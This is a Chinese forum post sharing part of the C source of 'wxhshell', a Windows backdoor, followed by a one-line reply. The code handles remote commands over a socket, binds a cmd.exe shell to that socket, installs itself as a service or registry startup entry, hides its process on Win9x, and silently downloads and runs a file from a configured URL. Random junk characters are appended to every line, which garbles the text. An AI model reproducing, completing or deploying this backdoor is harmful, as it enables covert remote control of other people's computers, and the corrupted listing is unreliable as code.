  send(wsh,msg_ws_down,strlen(msg_ws_down),0); <a=k"'0  
  if(DownloadFile(cmd,wsh)) ig?Tj4kD  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); \)BDl  
  else /pz(s+4=  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yV5AVM o  
  } -;U3$[T,J7  
  else { 3qq 6X?y*  
"3VMjF\  
    switch(cmd[0]) { 1{bsh?zd  
  lHSu T2)x;  
  // 帮助 fg8U* 7  
  case '?': { #VM-\02o  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %I;iP|/  
    break; /-1 F9  
  } a\v@^4   
  // 安装 G8F43!<  
  case 'i': { TYgn X  
    if(Install()) z_en .  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #zw 'H9l  
    else H3jb{S b  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q/t~`pH3  
    break; VK?c='zg  
    } QP4`r#,  
  // 卸载 IF.6sJg:  
  case 'r': { F anA~  
    if(Uninstall()) oF#]<Z\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m_r_4BP  
    else #:M)a?E/%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0:3<33]x  
    break; 0x8aKq\'  
    } P6o-H$ a+  
  // 显示 wxhshell 所在路径  IQCIc@5  
  case 'p': { 6WX+p3Kv  
    char svExeFile[MAX_PATH]; ue#Y h  
    strcpy(svExeFile,"\n\r"); r!J?Lc])8  
      strcat(svExeFile,ExeFile); )qx,>PL  
        send(wsh,svExeFile,strlen(svExeFile),0); w(vda0  
    break; "6 fTZ<  
    } -( +/u .  
  // 重启 @~`2L o/  
  case 'b': { z'ZGN{L  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); qddP-uN  
    if(Boot(REBOOT)) 9% AL f 9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m8njP-CZ  
    else { W]DZ'  
    closesocket(wsh); IMay`us]:8  
    ExitThread(0); '74-rL:i  
    } o%\pI%  
    break; ok7yFm1\  
    } @}@J$ g  
  // 关机 I!sB$=n  
  case 'd': { -g]g  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Um9]X@z  
    if(Boot(SHUTDOWN)) O8% Y .SK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >E`p@ e+  
    else { 9K5[a^q|My  
    closesocket(wsh); @(H  
    ExitThread(0); =~~Y@eX  
    } G\:^9!nwY~  
    break; QBiLH]qa  
    } &r Lg/UEV-  
  // 获取shell z`[q$H7?  
  case 's': { ?Em*yc@WD  
    CmdShell(wsh); GP\Pk/E  
    closesocket(wsh); uM<6][^`  
    ExitThread(0); #D&]5"0cX  
    break; D#n^U `\if  
  } 1Q ^YaHzuW  
  // 退出 yPqZ ,  
  case 'x': { aj<=]=hr  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); NuqWezJm&  
    CloseIt(wsh); ` 'y[i  
    break; -5 YvtL  
    } $}G03G@  
  // 离开 }{Ncww!iN  
  case 'q': { +\a`:QET  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Y|iJO>_Uu=  
    closesocket(wsh); DdL0MGwX  
    WSACleanup(); RjS&^u aP  
    exit(1); ~rX2oLw{&  
    break; 4^0L2BVcv  
        } G.} 3hd0  
  } er?'o1M  
  } d8? }69:h  
w3=Bj  
  // 提示信息 OO:^#Mvv5  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e)~7pXYV)  
} t%n3~i4X:  
  } @P^8?!i+  
0=r.I}x  
  return; jK^'s6i#  
} =-c"~4  
>}*i Qq  
// shell模块句柄 pGy(JvMw"  
int CmdShell(SOCKET sock) &1DU]|RoT&  
{ 5Q.bwl:  
STARTUPINFO si; ^rc!X]C9  
ZeroMemory(&si,sizeof(si)); !v2D 18(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; q.OkZI0n   
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Et=N`k _gO  
PROCESS_INFORMATION ProcessInfo; FSqS]6b3  
char cmdline[]="cmd"; . ` OdnLGy  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =_`4HDr  
  return 0; 0~\Dd0W/:`  
} 9@-^! DBM  
+ (cTzY  
// 自身启动模式 %jK-}0Tu  
int StartFromService(void) Mlp[xk|  
{ '[fo  
typedef struct VR>;{>~  
{ mACj>0Z'  
  DWORD ExitStatus; pNo<:p  
  DWORD PebBaseAddress; 05\A7.iy  
  DWORD AffinityMask; {iqH 27\E  
  DWORD BasePriority; V=}b>Jo2j  
  ULONG UniqueProcessId; ;K:)R_H  
  ULONG InheritedFromUniqueProcessId; aZYa<28?L%  
}   PROCESS_BASIC_INFORMATION; dE*n!@  
;wfzlUBC  
PROCNTQSIP NtQueryInformationProcess; Nt^R~#8hF>  
mJu;B3@  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; P+sxlf:0  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; )~<8j  
.,pGW8Js  
  HANDLE             hProcess; > ln%3 =  
  PROCESS_BASIC_INFORMATION pbi; 9d4PH  
dlC)&Ai  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); zLlu% Oc  
  if(NULL == hInst ) return 0; ;$G.?r  
9}FWO&LiB  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 3y%B&W,sm  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); c,1Yxg]|  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); L{|V13?  
> _1*/o JO  
  if (!NtQueryInformationProcess) return 0; *]fBd<(8  
d*=P8QwL|  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /lSz8h2  
  if(!hProcess) return 0; bIP{DxKS  
VpJ/M(UD-  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ln7{c #lE  
@8TD^ub  
  CloseHandle(hProcess); /'IOi`d  
u{'bd;.7  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5tg  
if(hProcess==NULL) return 0; 1O1/P,u+  
?k~(E`ZE3  
HMODULE hMod; dF*@G/p>V  
char procName[255]; }+0{opY4R  
unsigned long cbNeeded; ;CD.8f]N  
cs7T AX  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "_JGe#=  
aE6 I|6W?  
  CloseHandle(hProcess); V+X>t7.Q  
2JZf@x+}  
if(strstr(procName,"services")) return 1; // 以服务启动 ;}{%|UAsx  
V?v,q'? $  
  return 0; // 注册表启动 C`3}7qi|C  
} #CoJ S[t  
%^m6Q!  
// 主模块 &dZ-}. af  
int StartWxhshell(LPSTR lpCmdLine) a3 <D1"  
{ o~,dkV  
  SOCKET wsl; sB ]~=vUP  
BOOL val=TRUE; kC"<4U  
  int port=0; <8p53*a  
  struct sockaddr_in door; zCT Wi  
imAsE;:  
  if(wscfg.ws_autoins) Install(); Z VuHO7'  
IpmblC4  
port=atoi(lpCmdLine); >v@R]9  
wxXp(o(  
if(port<=0) port=wscfg.ws_port; }.Ht=E]  
JS r& S[  
  WSADATA data; BEyg 63=  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; L5E.`^?  
^SB?NRk  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   nnX,_5s  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); gmy$_4+6o  
  door.sin_family = AF_INET; (7q!Z!2  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;wIpche  
  door.sin_port = htons(port); y]aV7 `]  
m(E-?VMHo  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { f( 5c  
closesocket(wsl); ps"DL4*  
return 1; N;7Xt9l  
} m5SJB]a/  
7.$0LN/a!Z  
  if(listen(wsl,2) == INVALID_SOCKET) { 3>%rm%ffE  
closesocket(wsl); d0~F|j\#  
return 1; ~U#afGH$  
} 1u7Kc'.xc  
  Wxhshell(wsl); "qUUH4mR`  
  WSACleanup(); Zf}]sW$H  
6Yebc_, R  
return 0; twU^ewO&  
W}bed],l  
} Vo<V!G{  
tvynl;Y/  
// 以NT服务方式启动 b[Sd$ACd  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) j2SJ4tB /  
{ * F%Wf  
DWORD   status = 0; oCdWf63D  
  DWORD   specificError = 0xfffffff; b;#3X)  
wl #Bv,xf  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 5 G cdz  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; e5_a.c  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; U7O~ch[,  
  serviceStatus.dwWin32ExitCode     = 0; Bs(\e^}  
  serviceStatus.dwServiceSpecificExitCode = 0; m!5P5U x  
  serviceStatus.dwCheckPoint       = 0; 5v"QKI  
  serviceStatus.dwWaitHint       = 0; RUUV"y  
ZIQy}b'  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); f/RzE  
  if (hServiceStatusHandle==0) return; 5mUHk]W  
f4)fa yAVp  
status = GetLastError(); 1X2MhV  
  if (status!=NO_ERROR) !`L%wS  
{ 0Lmq?D  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; .)o<'u@Ri  
    serviceStatus.dwCheckPoint       = 0; n#Xi Co_\  
    serviceStatus.dwWaitHint       = 0; "hi?/B#d  
    serviceStatus.dwWin32ExitCode     = status; ?47q0C  
    serviceStatus.dwServiceSpecificExitCode = specificError; ra=U,  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); |uI d:^ {  
    return; wUj[c7Y%  
  } fqA\Rp6Z  
j'FSd*5m  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ;rYL\`6L  
  serviceStatus.dwCheckPoint       = 0; 1=gE ,k5H  
  serviceStatus.dwWaitHint       = 0; <7R\ #  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); A ><  
} u8L%R[#o  
P2pdXNV  
// 处理NT服务事件,比如:启动、停止 NpqMdd   
VOID WINAPI NTServiceHandler(DWORD fdwControl) J7q^4M+o:  
{ @igr~hJ  
switch(fdwControl) .Nz2K[  
{ fVx<f.xuW  
case SERVICE_CONTROL_STOP: o^FlQy\  
  serviceStatus.dwWin32ExitCode = 0; :UM>`Y  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Bee`Pp2  
  serviceStatus.dwCheckPoint   = 0; gKoB)n<[  
  serviceStatus.dwWaitHint     = 0; O4J <u-E$  
  { ~``oKiPg@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +U{8Mj  
  } ;"46H'>!  
  return; $Y* d ' >  
case SERVICE_CONTROL_PAUSE: N|-M|1w96  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; n4,b?-E>(  
  break; LdnHz#  
case SERVICE_CONTROL_CONTINUE: X c~yr\%]  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; xR}^~14Bz  
  break; U Hh  
case SERVICE_CONTROL_INTERROGATE: (~ro_WC/I  
  break; %0l'Nuz  
}; S?ELFq(g  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3y?I^ .B  
} /W\@/b,  
Q`- JRY-  
// 标准应用程序主函数 koDIxj'%X  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) x6Zhw9RV  
{ v&Xsyb0CaM  
"=<T8M  
// 获取操作系统版本 LG3D3{H(.  
OsIsNt=GetOsVer(); 6BK-(>c(6  
GetModuleFileName(NULL,ExeFile,MAX_PATH); k?]`PUrV  
h=h4`uA9  
  // 从命令行安装 n4A_vz  
  if(strpbrk(lpCmdLine,"iI")) Install(); "IQ' (^-P  
-{[5P!  
  // 下载执行文件 .kKU MyW(  
if(wscfg.ws_downexe) { =hD@hQ i  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :Z)a&A9v  
  WinExec(wscfg.ws_filenam,SW_HIDE); r ,I';vm<`  
} M ,!Dhuas  
7L3:d7=MIW  
if(!OsIsNt) { [`pp[J-~7  
// 如果时win9x,隐藏进程并且设置为注册表启动 F[am2[/<A  
HideProc(); UF37|+"E  
StartWxhshell(lpCmdLine); G*;?&;*  
} wJc~AP)I%z  
else [0vgA#6I  
  if(StartFromService()) *Rm"3S  
  // 以服务方式启动 ws}cMX]*  
  StartServiceCtrlDispatcher(DispatchTable); Xa o*h(Q@L  
else ,',  S  
  // 普通方式启动 E%Tpby}^'  
  StartWxhshell(lpCmdLine); 4-j3&(  
24{Tl q3  
return 0; -DAkVFsN  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
10+5=?,请输入中文答案:十五